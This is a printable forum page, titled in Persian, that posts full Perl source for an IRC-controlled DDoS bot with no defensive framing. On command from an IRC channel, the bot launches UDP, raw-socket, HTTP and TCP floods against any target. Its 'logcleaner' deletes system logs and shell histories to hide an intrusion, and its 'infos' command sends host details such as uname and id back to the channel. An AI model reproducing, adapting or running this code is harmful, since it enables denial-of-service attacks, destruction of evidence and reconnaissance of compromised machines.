بوت کردن سرور های irc - نسخه قابل چاپ

کد:
#!/usr/bin/perl -w

use IO::Socket::INET;

use HTTP::Request; 

use LWP::UserAgent;

use LWP::Simple;

use URI::Escape;



print q{

-------------------------------

                _____       

  _____   _____/ ____\____  

/     \ /  _ \   __\/  _ \ 

|  Y Y  (  <_> )  | (  <_> )

|__|_|  /\____/|__|  \____/ 

      \/                    

-------------------------------



\\ credits to pitbull bot //

  \\  europasecurity.org  //

   \\  spam.ws //

    \\Thanx Rahzan_Delha//

    \\www.parsicoders.com//



};

#= CONFIGURATION =========================================#

my $server = "irc.webchat.org";                       #

my $nick  = "[amin][" . int( rand(9999) ) . "]";          #

my $port = "6667";                                        #

my $channel = "#dostan";                                   #

#= END OF CONFIGURATION ==================================#



my $name     = "mofo 8 *  : mofo";   

print "\n";

print "\n [+] Connecting to $server\n";

$connection = IO::Socket::INET->new(PeerAddr=>"$server",

                                    PeerPort=>"$port",

                                    Proto=>'tcp',

                                    Timeout=>'30') or die " [-] Couldnt connect to $server\n";

print " [+] Connected to $server\n\n";                     

print $connection "USER $name\n";

print $connection "NICK $nick\r\n";



while($response = <$connection>)



{ 



     print $response;  #print IRC Response

     if($response =~ m/:(.*) 00(.*) (.*) :/){print $connection "JOIN ".$channel."\r\n";}

     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!help/){&help;}    

     if($response =~ m/^PING (.*?)$/gi){print $connection "PONG ".$1."\r\n";}  

     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!die/){&diebastard;} 

     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!logcleaner/){&logcleaner;}

     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!infos/){&infos;}

     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!udpflood\s+(.*)\s+(\d+)\s+(\d+)/) { 

print $connection "PRIVMSG $channel :6|6.:12UDP DDos6:.6|12 Attacking 6 ".$3." 12 with 6 ".$4." 12  packets during 6 ".$5." 12 seconds.\r\n";

my ($dtime, %packets) =  udpflooder("$3", "$4", "$5"); 

$dtime = 1 if $dtime == 0; 

my %bytes;  

$bytes{igmp} = $4 * $packets{igmp}; 

$bytes{icmp} = $4 * $packets{icmp};  

$bytes{o} = $4 * $packets{o}; 

$bytes{udp} = $4 * $packets{udp};  

$bytes{tcp} = $4 * $packets{tcp}; 

print $connection "PRIVMSG $channel :6|6.:12UDP DDos6:.6|12 Results6  ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." 12KB in6  ".$dtime." 12seconds 6 ".$3.".\r\n"; 

} 



     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!httpflood\s+(.*)\s+(\d+)/) {  

print $connection "PRIVMSG $channel :6|6.:6HTTP DDos6:.6|12  Attacking 6 ".$3." 12 on port 80 during6 ".$4." 12 seconds .\r\n"; 

my $itime  = time; 

my ($cur_time); 

$cur_time = time - $itime; 

while  ($4>$cur_time){ 

$cur_time = time - $itime; 

my $socket =  IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$3, PeerPort=>80); 

print $socket "GET / HTTP/1.0\r\nAccept: */*\r\nHost: ".$3." \r\nConnection:  Keep-Alive\r\n\r\n"; 

close($socket); 

} 

print $connection "PRIVMSG $channel :6|6.:6HTTP DDos6:.6|12 Attack finished 6 ".$3.".\r\n";  

} 



     if($response =~ m/:(.*)!(.*) PRIVMSG $channel :!tcpflood\s+(.*)\s+(\d+)\s+(\d+)/) { 

print $connection "PRIVMSG $channel :6|6.:11TCP DDos6:.6|12 Attacking 6 ".$3.":".$4." 12during 6 ".$5."  12seconds.\r\n";

  my $itime = time; 

  my ($cur_time); 

  $cur_time =  time - $itime; 

  while ($5>$cur_time){ 

  $cur_time = time - $itime;  

  &tcpflooder("$3","$4","$5"); 

}  

print $connection "PRIVMSG $channel :6|6.:11TCP DDos6:.6|  12Attack finished 6 ".$3.":".$4.".\r\n"; 

}



} 



################################################################################?############

sub diebastard

{

     print $connection "PRIVMSG $channel :8,1 Quitting... \r\n";

            exec("pkill perl https.pl \n");  

}

################################################################################?############

sub help

{

     my $asker = $1;

print $connection "PRIVMSG $channel :6$asker 11[!] Help :\r\n"; 

print $connection "PRIVMSG $channel :6|6.:12HTTP DDos6:.6| 11!httpflood <IP> <duration>\r\n";  

print $connection "PRIVMSG $channel :6|6.:12UDP DDos6:.6| 11!udpflood <IP> <Packet size> <duration>\r\n";  

print $connection "PRIVMSG $channel :6|6.:12TCP DDos6:.6| 11!tcpflood <IP> <Port> <duration>\r\n";   

print $connection "PRIVMSG $channel :6|6.:12Log Cleaner6:.6| 11!logcleaner\r\n";

print $connection "PRIVMSG $channel :6|6.:12Infos6:.6| 11!infos\r\n";



}

################################################################################?############

sub logcleaner

{

     my $asker = $1;

         print $connection "PRIVMSG $channel :6$asker 11[!] Cleaning started\r\n";

        system 'rm -rf  /var/log/lastlog'; 

        system 'rm -rf /var/log/wtmp'; 

        system 'rm -rf  /etc/wtmp'; 

        system 'rm -rf /var/run/utmp'; 

        system 'rm -rf  /etc/utmp'; 

        system 'rm -rf /var/log'; 

        system 'rm -rf /var/logs';  

        system 'rm -rf /var/adm'; 

        system 'rm -rf /var/apache/log'; 

        system 'rm -rf /var/apache/logs'; 

        system 'rm -rf /usr/local/apache/log';  

        system 'rm -rf /usr/local/apache/logs'; 

        system 'rm -rf  /root/.bash_history'; 

        system 'rm -rf /root/.ksh_history';  

         print $connection "PRIVMSG $channel :6$asker 11[!] File Log bash_history Cleaned\r\n"; 

        sleep 1;  

         print $connection "PRIVMSG $channel :6$asker 11[!] Cleaning files\r\n"; 

        system 'find  / -name *.bash_history -exec rm -rf {} \;'; 

        system 'find / -name  *.bash_logout -exec rm -rf {} \;'; 

        system 'find / -name "log*" -exec rm  -rf {} \;'; 

        system 'find / -name *.log -exec rm -rf {} \;'; 

        sleep 1; 

         print $connection "PRIVMSG $channel :6$asker 11[!] Cleaning Successfull\r\n"; 

      

} 



################################################################################?############

sub  udpflooder { 

my $iaddr = inet_aton($_[0]); 

my $msg = 'A' x $_[1]; 

my  $ftime = $_[2]; 

my $cp = 0; 

my (%packets); 

$packets{icmp} =  $packets{igmp} = $packets{udp} = $packets{o} = $packets{tcp} = 0;  

socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++; 

socket(SOCK2, PF_INET,  SOCK_DGRAM, 17) or $cp++; 

socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;  

socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++; 

return(undef) if $cp == 4;  

my $itime = time; 

my ($cur_time); 

while ( 1 ) { 

for (my $fport =  1; 

$fport <= 65000; $fport++) { 

$cur_time = time - $itime; 

last  if $cur_time >= $ftime; 

send(SOCK1, $msg, 0, sockaddr_in($fport, $iaddr))  and $packets{igmp}++; 

send(SOCK2, $msg, 0, sockaddr_in($fport, $iaddr)) and  $packets{udp}++; 

send(SOCK3, $msg, 0, sockaddr_in($fport, $iaddr)) and  $packets{icmp}++; 

send(SOCK4, $msg, 0, sockaddr_in($fport, $iaddr)) and  $packets{tcp}++; 





for (my $pc = 3; 

$pc <= 255;$pc++) {  

next if $pc == 6; 

$cur_time = time - $itime; 

last if $cur_time >=  $ftime; 

socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next; 

send(SOCK5, $msg,  0, sockaddr_in($fport, $iaddr)) and $packets{o}++; 

} 

} 

last if  $cur_time >= $ftime; 

} 

return($cur_time, %packets); 

} 

################################################################################?############

sub tcpflooder { 

my $itime = time;  

my ($cur_time); 

my ($ia,$pa,$proto,$j,$l,$t); 

$ia=inet_aton($_[0]);  

$pa=sockaddr_in($_[1],$ia); 

$ftime=$_[2];  

$proto=getprotobyname('tcp'); 

$j=0;$l=0; 

$cur_time = time - $itime;  

while ($l<1000){ 

$cur_time = time - $itime; 

last if $cur_time  >= $ftime; 

$t="SOCK$l"; 

socket($t,PF_INET,SOCK_STREAM,$proto);  

connect($t,$pa)||$j--; 

$j++;$l++; 

} 

$l=0; 

while  ($l<1000){ 

$cur_time = time - $itime; 

last if $cur_time >= $ftime;  

$t="SOCK$l"; 

shutdown($t,2); 

$l++; 

} 

}

################################################################################?############



################################################################################?############

sub infos

{      

my $uname=`uname  -a`;

my $uptime=`uptime`;

my $ownd=`pwd`;

my $distro=`cat /etc/issue`;

my $id=`id`;

my $un=`uname  -sro`; 

my $asker = $1;

print $connection "PRIVMSG $channel :6$asker 5[!] System infos :\r\n"; 

print $connection "PRIVMSG $channel :6|6.:12Bot Info6:.6| 12Bot version     : 11 m0f0 v1 by t0fx\r\n"; 

print $connection "PRIVMSG $channel :6|6.:12System Info6:.6| 12Uname -a     : 11 $uname\r\n";  

print $connection "PRIVMSG $channel :6|6.:12System Info6:.6| 12Uptime       : 11  $uptime\r\n";  

print $connection "PRIVMSG $channel :6|6.:12System Info6:.6| 12ID           : 11 $id\r\n";  

print $connection "PRIVMSG $channel :6|6.:12System Info6:.6| 12Directory      : 11  $ownd\r\n"; ; 

print $connection "PRIVMSG $channel :6|6.:12System Info6:.6| 12OS           : 11 $distro\r\n";  



} 

################################################################################?############